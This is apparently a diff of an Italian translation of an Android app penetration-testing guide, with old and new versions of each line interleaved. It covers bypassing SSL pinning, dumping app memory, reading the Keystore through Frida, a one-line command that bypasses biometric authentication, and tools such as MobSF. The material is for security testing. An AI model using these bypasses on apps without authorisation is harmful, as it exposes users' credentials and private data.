#### Ispezione del traffico
#### Traffic Inspection
Per ispezionare il traffico HTTP è necessario **installare il certificato dello strumento proxy** (es. Burp). Senza installare questo certificato, il traffico cifrato potrebbe non essere visibile tramite il proxy. Per una guida sull'installazione di un certificato CA custom, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (es. Burp). Senza installare questo certificato, il traffico cifrato potrebbe non essere visibile attraverso il proxy. Per una guida su come installare una CA custom, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Le applicazioni targettizzate per **API Level 24 and above** richiedono modifiche alla Network Security Config per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico cifrato. Per istruzioni su come modificare la Network Security Config, [**consulta questo tutorial**](make-apk-accept-ca-certificate.md).
Le applicazioni targettizzate a **API Level 24 and above** richiedono modifiche al Network Security Config per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico cifrato. Per istruzioni su come modificare il Network Security Config, [**riferisciti a questo tutorial**](make-apk-accept-ca-certificate.md).
Se viene usato **Flutter** devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, semplicemente aggiungendo il certificato nello store non funzionerà dato che Flutter ha la sua propria lista di CA valide.
Se viene utilizzato **Flutter** devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, semplicemente aggiungere il certificato nello store non funzionerà poiché Flutter ha la propria lista di CA valide.
#### Rilevamento statico dello SSL/TLS pinning
#### Rilevamento statico del pinning SSL/TLS
Prima di tentare bypass a runtime, mappa rapidamente dove il pinning è applicato nell'APK. La scoperta statica ti aiuta a pianificare hook/patch e a concentrarti sui percorsi di codice corretti.
Prima di tentare bypass a runtime, mappa rapidamente dove il pinning è applicato nell'APK. La scoperta statica ti aiuta a pianificare hook/patch e a concentrarti sui percorsi di codice giusti.
Tool: SSLPinDetect
- Utilità open-source di static-analysis che decompila l'APK in Smali (via apktool) e scansiona pattern regex curati per implementazioni di SSL/TLS pinning.
- Riporta il percorso file esatto, il numero di riga e un estratto di codice per ogni corrispondenza.
- Copre framework comuni e percorsi di codice custom: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con custom TrustManagers/KeyManagers, e pin in Network Security Config XML.
- Utility open-source di static-analysis che decompila l'APK in Smali (via apktool) e cerca pattern regex curati di implementazioni di pinning SSL/TLS.
- Riporta il percorso file esatto, il numero di riga e uno snippet di codice per ogni corrispondenza.
- Copre framework comuni e percorsi di codice custom: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con custom TrustManagers/KeyManagers, e pin nel Network Security Config XML.
Install
- Prereqs: Python >= 3.8, Java on PATH, apktool
Installazione
- Prerequisiti: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
cd SSLPinDetect
pip install -r requirements.txt
```
Uso
Utilizzo
```bash
# Basic
python sslpindetect.py -f app.apk -a apktool.jar
@ -464,8 +464,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Esempi di regole di pattern (JSON)
Usa o estendi le signatures per rilevare stili di pinning proprietari/custom. Puoi caricare il tuo JSON ed effettuare scan su larga scala.
Esempi di regole per pattern (JSON)
Usa o estendi le signature per rilevare stili di pinning proprietari/personalizzati. Puoi caricare il tuo JSON e scansionare su larga scala.
```json
{
"OkHttp Certificate Pinning": [
@ -480,42 +480,42 @@ Usa o estendi le signatures per rilevare stili di pinning proprietari/custom. Pu
}
```
Note e suggerimenti
- Scansione veloce di app di grandi dimensioni tramite multi-threading e memory-mapped I/O; regex precompilate riducono overhead/falsi positivi.
- Scansione veloce su app di grandi dimensioni tramite multi-threading e memory-mapped I/O; regex pre-compilati riducono overhead e falsi positivi.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- Obiettivi tipici di rilevamento da valutare successivamente:
- OkHttp: uso di CertificatePinner, setCertificatePinner, riferimenti ai package okhttp3/okhttp
- TrustManagers personalizzati: javax.net.ssl.X509TrustManager, override di checkServerTrusted
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- TrustManager personalizzati: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Contesti SSL personalizzati: SSLContext.getInstance + SSLContext.init con manager personalizzati
- Pin dichiarativi in res/xml network security config e riferimenti nel manifest
- Usa le posizioni corrispondenti per pianificare Frida hooks, patch statiche, o revisioni di config prima dei test dinamici.
- Usa le posizioni corrispondenti per pianificare Frida hooks, patch statiche o revisioni di config prima del testing dinamico.
#### Bypassare SSL Pinning
#### Bypassing SSL Pinning
Quando SSL Pinning è implementato, diventa necessario bypassarlo per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo:
Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili vari metodi per questo scopo:
- Modifica automaticamente l'**apk** per **bypassare** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il principale vantaggio di questa opzione è che non servirà root per bypassare lo SSL Pinning, ma dovrai eliminare l'applicazione e reinstallare la nuova, e questo non funziona sempre.
- Puoi usare **Frida** (discusso sotto) per bypassare questa protezione. Qui c'è una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Puoi anche provare a bypassare automaticamente SSL Pinning usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Puoi anche provare a bypassare automaticamente SSL Pinning usando **MobSF dynamic analysis** (spiegato sotto)
- Se pensi che ci sia traffico che non stai catturando puoi provare a **inoltrare il traffico a burp usando iptables**. Leggi questo blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Modificare automaticamente l'**apk** per **bypass** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il principale vantaggio di questa opzione è che non servirà root per bypassare il SSL Pinning, ma dovrai cancellare l'applicazione e reinstallare la nuova, e questo non funzionerà sempre.
- Puoi usare **Frida** (discusso sotto) per bypassare questa protezione. Qui trovi una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Puoi anche provare a **bypassare automaticamente SSL Pinning** usando **MobSF dynamic analysis** (spiegato sotto)
- Se pensi che ci sia ancora traffico che non stai catturando, puoi provare a inoltrare il traffico a Burp usando iptables. Leggi questo blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Ricerca di vulnerabilità web comuni
È importante cercare anche le comuni vulnerabilità web all'interno dell'applicazione. Informazioni dettagliate sull'identificazione e la mitigazione di queste vulnerabilità sono oltre lo scopo di questo riassunto ma sono trattate estensivamente altrove.
È importante cercare anche vulnerabilità web comuni all'interno dell'applicazione. Informazioni dettagliate sull'identificazione e la mitigazione di queste vulnerabilità esulano da questo sommario, ma sono ampiamente trattate altrove.
### Frida
[Frida](https://www.frida.re) è un toolkit di instrumentazione dinamica per sviluppatori, reverse-engineer e ricercatori di sicurezza.\
**Puoi accedere all'applicazione in esecuzione e hookare metodi a runtime per cambiare il comportamento, modificare valori, estrarre valori, eseguire codice diverso...**\
Se vuoi fare pentesting su applicazioni Android devi sapere come usare Frida.
**Puoi accedere all'applicazione in esecuzione e fare hook dei metodi a runtime per cambiare il comportamento, modificare valori, estrarre valori, eseguire codice diverso...**\
Se vuoi pentest applicazioni Android devi sapere come usare Frida.
- Impara a usare Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Alcune "GUI" per le azioni con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Alcune "GUI" per azioni con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection è ottimo per automatizzare l'uso di Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Puoi trovare alcuni script Awesome Frida qui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Prova a bypassare meccanismi anti-debugging / anti-frida caricando Frida come indicato in [https://erfur.github.io/blog/dev/code-injection-without-ptrace] (tool [linjector](https://github.com/erfur/linjector-rs))
- Puoi trovare alcuni script Frida qui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Prova a bypassare meccanismi anti-debugging / anti-frida caricando Frida come indicato in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -523,11 +523,11 @@ Se vuoi fare pentesting su applicazioni Android devi sapere come usare Frida.
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Dump della memoria - Fridump**
### **Dump Memory - Fridump**
Controlla se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe contenere, come password o mnemonic.
Verifica se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe conservare, come password o mnemoniche.
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi dumpare la memoria dell'app con:
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi eseguire il dump della memoria dell'app con:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -536,63 +536,63 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Questo scaricherà la memoria nella cartella ./dump, e lì puoi usare grep con qualcosa del tipo:
Questo eseguirà il dump della memoria nella cartella ./dump, e lì puoi usare grep con qualcosa come:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Dati sensibili nel Keystore**
Su Android il Keystore è il posto migliore per memorizzare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **dati sensibili in chiaro**, i pentests dovrebbero verificarne la presenza come root user oppure qualcuno con accesso fisico al dispositivo potrebbe essere in grado di rubare questi dati.
In Android il Keystore è il posto migliore per memorizzare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **sensitive data in clear text**, i pentests dovrebbero verificarne la presenza quando si opera come root user, oppure qualcuno con accesso fisico al dispositivo potrebbe essere in grado di rubare questi dati.
Anche se un'app memorizzasse dati nel Keystore, i dati dovrebbero essere cifrati.
Anche se un'app memorizzasse dati nel keystore, i dati dovrebbero essere cifrati.
Per accedere ai dati all'interno del Keystore puoi usare questo Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Per accedere ai dati all'interno del keystore puoi usare questo Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Utilizzando il seguente script Frida potrebbe essere possibile eseguire un **bypass fingerprint authentication** che le applicazioni Android potrebbero adottare per **proteggere alcune aree sensibili:**
Usando il seguente script Frida potrebbe essere possibile **bypass fingerprint authentication** che le applicazioni Android potrebbero usare per **proteggere alcune aree sensibili:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Immagini di sfondo**
### **Immagini di Sfondo**
Quando mandi un'applicazione in background, Android salva una **istantanea dell'applicazione** così quando viene ripristinata in primo piano inizia a caricare l'immagine prima dell'app, dando l'impressione che l'app si sia caricata più velocemente.
Quando metti un'applicazione in background, Android memorizza una **istantanea dell'applicazione** in modo che, quando viene riportata in primo piano, inizi a caricare l'immagine prima dell'app in modo che sembri che l'app sia stata caricata più velocemente.
Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare quelle informazioni** (nota: è necessario il root per accedervi).
Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare tali informazioni** (nota che è necessario root per accedervi).
Le istantanee sono solitamente memorizzate in: **`/data/system_ce/0/snapshots`**
Android fornisce un modo per **impedire la cattura dello screenshot impostando il parametro di layout FLAG_SECURE**. Usando questo flag, il contenuto della finestra viene trattato come sicuro, impedendone la comparsa negli screenshot o la visualizzazione su display non sicuri.
Android fornisce un modo per **impedire la cattura di screenshot impostando il parametro di layout FLAG_SECURE**. Usando questo flag, il contenuto della finestra viene trattato come sicuro, evitando che appaia negli screenshot o che sia visualizzato su display non sicuri.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Questo strumento può aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Gli sviluppatori spesso creano proxy components come activities, services, e broadcast receivers che gestiscono questi Intents e li passano a metodi come `startActivity(...)` o `sendBroadcast(...)`, il che può essere rischioso.
Gli sviluppatori spesso creano componenti proxy come activities, services e broadcast receivers che gestiscono questi Intent e li passano a metodi come `startActivity(...)` o `sendBroadcast(...)`, il che può essere rischioso.
Il pericolo sta nel permettere ad un attacker di triggerare componenti dell'app non-exported o accedere a content providers sensibili deviando questi Intents. Un esempio notevole è il componente `WebView` che converte URL in oggetti `Intent` tramite `Intent.parseUri(...)` e poi li esegue, potenzialmente portando a malicious Intent injections.
Il pericolo consiste nel permettere a un attaccante di attivare componenti non-exported dell'app o accedere a content provider sensibili deviando questi Intent. Un esempio notevole è il componente `WebView` che converte URL in oggetti `Intent` tramite `Intent.parseUri(...)` e poi li esegue, potenzialmente portando a malicious Intent injections.
### Essential Takeaways
- **Intent Injection** is similar to web's Open Redirect issue.
- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations.
- It can expose non-exported components and content providers to attackers.
- `WebView`’s URL to `Intent` conversion can facilitate unintended actions.
- **Intent Injection** è simile al problema Open Redirect del web.
- Gli exploit coinvolgono il passaggio di oggetti `Intent` come extras, che possono essere reindirizzati per eseguire operazioni non sicure.
- Può esporre componenti non-exported e content provider ad attaccanti.
- La conversione di URL in `Intent` da parte di `WebView` può facilitare azioni non intenzionali.
### Android Client Side Injections and others
Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere particolarmente attento a queste vulnerabilità in un'app Android:
Probabilmente già conosci questo tipo di vulnerabilità dal Web. Devi essere particolarmente attento a queste vulnerabilità in un'app Android:
- **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries.
- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: In several cases when the Android application finish the session the cookie isn't revoked or it could be even saved to disk
- **SQL Injection:** Quando si lavora con query dinamiche o Content-Providers assicurati di usare query parametrizzate.
- **JavaScript Injection (XSS):** Verifica che il supporto JavaScript e dei plugin sia disabilitato per qualsiasi WebView (disabilitato di default). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato di default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: In diversi casi quando l'app Android termina la sessione il cookie non viene revocato o può essere persino salvato su disco
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -605,51 +605,51 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
![](<../../images/image (866).png>)
**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment).
**Valutazione delle vulnerabilità dell'applicazione** usando una comoda interfaccia web-based. Puoi anche effettuare analisi dinamiche (ma è necessario preparare l'ambiente).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Nota che MobSF può analizzare **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Le applicazioni Windows devono essere analizzate da un MobSF installato su un host Windows_).\
Inoltre, se crei un file **ZIP** con il codice sorgente di un'app **Android** o un'app **IOS** (vai alla cartella root dell'applicazione, seleziona tutto e crea un file ZIP), sarà in grado di analizzarlo anche.
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
MobSF permette anche di fare il **diff/Compare** delle analisi e di integrare **VirusTotal** (dovrai impostare la tua API key in _MobSF/settings.py_ e abilitarla: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Puoi anche impostare `VT_UPLOAD` su `False`, in tal caso verrà caricato l'**hash** invece del file.
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### Assisted Dynamic analysis with MobSF
**MobSF** può essere molto utile anche per l'analisi dinamica su **Android**, ma in questo caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
L'analizzatore dinamico di **MobSF** può:
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
The **MobSF dynamic analyser** can:
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Tutto questo viene fatto automaticamente eccetto per gli screenshot: devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere gli screenshot di tutte le attività esportate.
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
Dalle versioni Android > 5, avvierà automaticamente Frida e imposterà il proxy globale per catturare il traffico. Catturerà solo il traffico dell'applicazione testata.
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
**Frida**
Di default, utilizzerà anche alcuni Frida Scripts per bypassare SSL pinning, root detection e debugger detection e per monitorare API interessanti.\
MobSF può anche invocare exported activities, catturare screenshot di esse e salvarli per il report.
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
Per **avviare** il testing dinamico premi il bottone verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hooked, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
MobSF permette anche di caricare i tuoi **Frida scripts** (per inviare i risultati dei tuoi Frida scripts a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne altri in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e poi "**Start Instrumentation**" (potrai vedere i log di quegli script dentro "**Frida Live Logs**").
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
![](<../../images/image (419).png>)
Inoltre, hai alcune funzionalità ausiliarie di Frida:
Moreover, you have some Auxiliary Frida functionalities:
- **Enumerate Loaded Classes**: Mostrerà tutte le classi caricate
- **Capture Strings**: Mostrerà tutte le stringhe catturate mentre usi l'applicazione (molto rumoroso)
- **Capture String Comparisons**: Può essere molto utile. Mostrerà le 2 stringhe confrontate e se il risultato è True o False.
- **Enumerate Class Methods**: Inserisci il nome della classe (come "java.io.File") e mostrerà tutti i metodi della classe.
- **Search Class Pattern**: Cerca classi per pattern
- **Trace Class Methods**: Traccia un'intera classe (vedi input e output di tutti i metodi della classe). Ricorda che di default MobSF traccia diversi metodi interessanti delle Android API.
- **Enumerate Loaded Classes**: It will print all the loaded classes
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
- **Search Class Pattern**: Search classes by pattern
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
Una volta selezionato il modulo ausiliario che vuoi utilizzare devi premere "**Start Intrumentation**" e vedrai tutti gli output in "**Frida Live Logs**".
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
**Shell**
MobSF fornisce anche una shell con alcuni comandi **adb**, comandi MobSF, e comandi di shell comuni nella parte inferiore della pagina di analisi dinamica. Alcuni comandi interessanti:
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
```bash
help
shell ls
@ -660,32 +660,32 @@ receivers
```
**Strumenti HTTP**
Quando il traffico http viene catturato puoi vedere una visualizzazione brutta del traffico catturato nel pulsante "**HTTP(S) Traffic**" oppure una visualizzazione migliore nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\
Per fare ciò, _avvia Burp -->_ _disabilita Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Quando il traffico http viene catturato puoi vedere una vista grezza del traffico catturato sul pulsante "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\
Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Una volta terminata la dynamic analysis con MobSF puoi premere "**Start Web API Fuzzer**" per **fuzz http requests** e cercare vulnerabilità.
Una volta terminata l'analisi dinamica con MobSF puoi premere su "**Start Web API Fuzzer**" per **fuzz http requests** e cercare vulnerabilità.
> [!TIP]
> Dopo aver eseguito una dynamic analysis con MobSF le impostazioni del proxy potrebbero essere mal configurate e potresti non riuscire a correggerle dalla GUI. Puoi ripristinare le impostazioni del proxy eseguendo:
> Dopo aver eseguito un'analisi dinamica con MobSF le impostazioni del proxy potrebbero essere mal configurate e potresti non riuscire a correggerle dall'interfaccia grafica. Puoi correggere le impostazioni del proxy eseguendo:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### Assisted Dynamic Analysis with Inspeckage
### Analisi dinamica assistita con Inspeckage
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Questo strumento utilizza alcuni **Hooks** per farti sapere **cosa sta succedendo nell'applicazione** mentre esegui una **dynamic analysis**.
Puoi ottenere lo strumento da [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Questo tool usa alcuni **Hooks** per farti sapere **cosa sta succedendo nell'applicazione** mentre esegui un'**analisi dinamica**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
This is a **great tool to perform static analysis with a GUI**
Questo è un **ottimo strumento per eseguire un'analisi statica con una GUI**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
Questo tool è progettato per cercare diverse **vulnerabilità di sicurezza relative ad applicazioni Android**, sia nel **source code** che negli **packaged APKs**. Lo strumento è anche in grado di creare una "Proof-of-Concept" deployable APK e comandi **ADB**, per sfruttare alcune delle vulnerabilità trovate (Exposed activities, intents, tapjacking...). Come con Drozer, non è necessario eseguire il root del dispositivo di test.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -694,8 +694,8 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Mostra tutti i file estratti per riferimento rapido
- Decompila automaticamente file APK in formato Java e Smali
- Mostra tutti i file estratti per consultazione rapida
- Decompila automaticamente i file APK in formato Java e Smali
- Analizza AndroidManifest.xml per vulnerabilità e comportamenti comuni
- Analisi statica del codice sorgente per vulnerabilità e comportamenti comuni
- Informazioni sul dispositivo
@ -705,9 +705,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER è un'applicazione da riga di comando utilizzabile su Windows, MacOS X e Linux, che analizza file _.apk_ alla ricerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare queste vulnerabilità.
SUPER è un'applicazione da riga di comando utilizzabile su Windows, MacOS X e Linux, che analizza file _.apk_ alla ricerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per individuare tali vulnerabilità.
Tutte le regole sono raccolte in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui ha bisogno.
Tutte le regole sono contenute in un file `rules.json`, e ogni azienda o tester può creare regole proprie per analizzare ciò di cui ha bisogno.
Scarica i binari più recenti dalla [download page](https://superanalyzer.rocks/download.html)
```
@ -717,17 +717,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, bugbounty hunters e ethical hackers nello svolgere [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobili.
StaCoAn è uno strumento **multipiattaforma** che aiuta sviluppatori, bugbounty hunters e ethical hackers a eseguire [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobile.
Il concetto è che trascini e rilasci il file della tua applicazione mobile (un file .apk o .ipa) nell'applicazione StaCoAn e otterrai un report visuale e portatile. Puoi modificare le impostazioni e le wordlists per ottenere un'esperienza personalizzata.
Il concetto è che trascini e rilasci il file della tua applicazione mobile (un .apk o .ipa file) sull'applicazione StaCoAn e questa genererà per te un report visuale e portabile. Puoi tweakare le impostazioni e le wordlists per ottenere un'esperienza personalizzata.
Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework è un sistema di analisi delle vulnerabilità per Android che aiuta gli sviluppatori o gli hackers a trovare potenziali vulnerabilità di sicurezza nelle applicazioni Android.\
AndroBugs Framework è un sistema di analisi delle vulnerabilità Android che aiuta sviluppatori o hackers a trovare potenziali vulnerabilità di sicurezza nelle applicazioni Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -735,11 +735,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
